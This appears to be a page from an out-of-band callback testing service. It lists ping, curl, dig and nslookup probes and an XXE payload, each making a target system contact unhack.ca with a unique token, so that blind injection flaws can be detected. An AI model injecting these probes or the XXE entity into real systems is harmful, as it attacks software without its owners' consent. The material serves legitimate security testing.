$ ping -c1 -p 0030962f840c0e0c7b04e4abc5f76300 unhack.ca
 
$ curl http://unhack.ca/p/30962f840c0e0c7b04e4abc5f763
 
$ dig 30962f840c0e0c7b04e4abc5f763 @unhack.ca
 
$ dig 30962f840c0e0c7b04e4abc5f763.ns.unhack.ca
 
C:\> nslookup 30962f840c0e0c7b04e4abc5f763 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/30962f840c0e0c7b04e4abc5f763">]>
    <foo>&xxe;</foo>
 
Waiting for ping...